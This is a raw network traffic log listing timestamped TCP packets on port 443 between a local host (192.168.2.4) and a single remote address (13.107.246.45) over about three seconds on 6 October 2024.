Oct 6, 2024 22:33:36.741750956 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.741851091 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.741887093 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.757828951 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.758275986 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.758289099 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.758748055 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.758752108 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.761101961 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.761120081 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.761161089 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.761198997 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.761234045 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.761401892 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.761423111 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.761437893 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.761442900 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.763672113 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.763712883 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.763786077 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.763917923 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.763932943 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.859504938 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.859591961 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.859654903 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.859677076 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.859759092 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.859797955 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.859814882 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.859833002 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.859838963 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.860027075 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.860030890 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.862068892 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.862082005 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:36.862152100 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.862272024 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:36.862283945 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.371015072 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.371592045 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.371624947 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.372128963 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.372133970 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.406117916 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.406544924 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.406570911 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.407040119 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.407046080 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.408524990 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.408858061 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.408873081 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.409245968 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.409251928 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.436007023 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.441145897 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.441207886 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.441586018 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.441601992 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.513430119 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.513497114 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.513561964 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.513638020 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.513746023 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.513765097 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.513776064 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.513781071 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.515059948 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.515073061 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.515480042 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.515485048 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.517199993 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.517235041 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.517302036 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.517416000 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.517436028 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.520785093 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.521162033 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.521208048 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.521212101 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.521255016 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.521296978 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.521308899 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.521317005 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.521322012 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.522497892 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.522702932 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.522758007 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.522770882 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.522810936 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.522847891 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.522866964 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.522877932 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.522885084 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.522891998 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.522895098 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.523202896 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.523221970 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.523298979 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.523492098 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.523504019 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.524766922 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.524790049 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.524852991 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.524955034 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.524975061 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.543998957 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.544051886 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.544243097 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.544243097 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.544243097 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.545998096 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.546015024 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.546087980 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.546201944 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.546216011 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.612539053 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.612617970 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.612668991 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.612768888 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.612776041 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.612785101 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.612787962 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.614650011 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.614665031 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.614731073 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.615010023 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.615020990 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:37.853277922 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:37.853305101 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.153400898 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.162219048 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.162235022 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.194209099 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.194238901 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.194695950 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.194700956 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.194945097 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.194966078 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.195302010 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.195307016 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.195504904 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.195542097 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.195833921 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.195846081 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.205846071 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.210463047 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.210489035 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.212116957 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.212121964 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.261557102 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.265105963 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.265119076 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.265508890 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.265512943 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292393923 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292416096 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292475939 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.292479992 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292519093 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.292802095 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292814970 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292824984 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292869091 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.292876959 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292922974 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292967081 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.292968988 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.292968988 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.293011904 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.293014050 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.296875000 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.296890020 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.309914112 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.309933901 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.309966087 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.309972048 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.321801901 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.321820021 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.321861982 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.321867943 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.329535007 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.329566956 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.329622030 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.330466986 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.330548048 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.330617905 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.334578037 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.334594011 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.335103035 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.335118055 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.335824966 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.335833073 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.335884094 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.335973978 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.335985899 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.338310957 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.338356018 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.338442087 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.338779926 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.338783979 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.338793039 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.338795900 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.341402054 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.341420889 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.341474056 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.341578960 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.341589928 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.362957954 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.363224030 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.363281965 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.363318920 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.363351107 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.373625994 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.373636007 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.373645067 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.373648882 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.375627041 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.375667095 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.375730991 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.375873089 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.375885010 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.975400925 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.977268934 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.977288961 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.977741003 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.977746010 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.981841087 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.982379913 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.982400894 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.983295918 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.983302116 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.983715057 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.984108925 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.984126091 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.984716892 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.984720945 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.989870071 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.990324974 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.990339994 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:38.990675926 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:38.990680933 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.023483992 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.023832083 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.023863077 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.024225950 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.024233103 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.075484991 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.075716972 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.075773001 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.075802088 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.075819016 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.075831890 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.075838089 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.078485012 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.078537941 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.078603029 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.078716040 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.078735113 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.082245111 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.082509995 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.082556963 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.082559109 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.082604885 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.082637072 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.082653999 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.082663059 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.082667112 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.084670067 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.084685087 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.084893942 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.084893942 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.084918022 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.085241079 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.085433006 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.085494041 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.085530043 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.085534096 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.085541964 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.085546017 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.087251902 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.087310076 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.087419987 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.087511063 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.087527037 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.091325045 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.091660023 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.091710091 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.091768980 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.091768980 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.091794014 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.091794014 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.091806889 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.091816902 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.093445063 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.093476057 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.093540907 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.093648911 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.093662977 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.140578032 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.141458035 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.141546011 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.141585112 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.141585112 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.141597986 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.141608000 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.143260956 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.143285036 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.143359900 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.143454075 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.143464088 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.711955070 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.712455034 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.712476015 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.713004112 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.713010073 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.727204084 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.727595091 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.727621078 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.727958918 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.727965117 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.743315935 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.743633032 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.743644953 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.744033098 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.744039059 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.765739918 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.766045094 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.766060114 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.766376019 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.766381025 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.788661003 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:39.788960934 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:39.788973093 CEST	443	49945	13.107.246.45	192.168.2.4
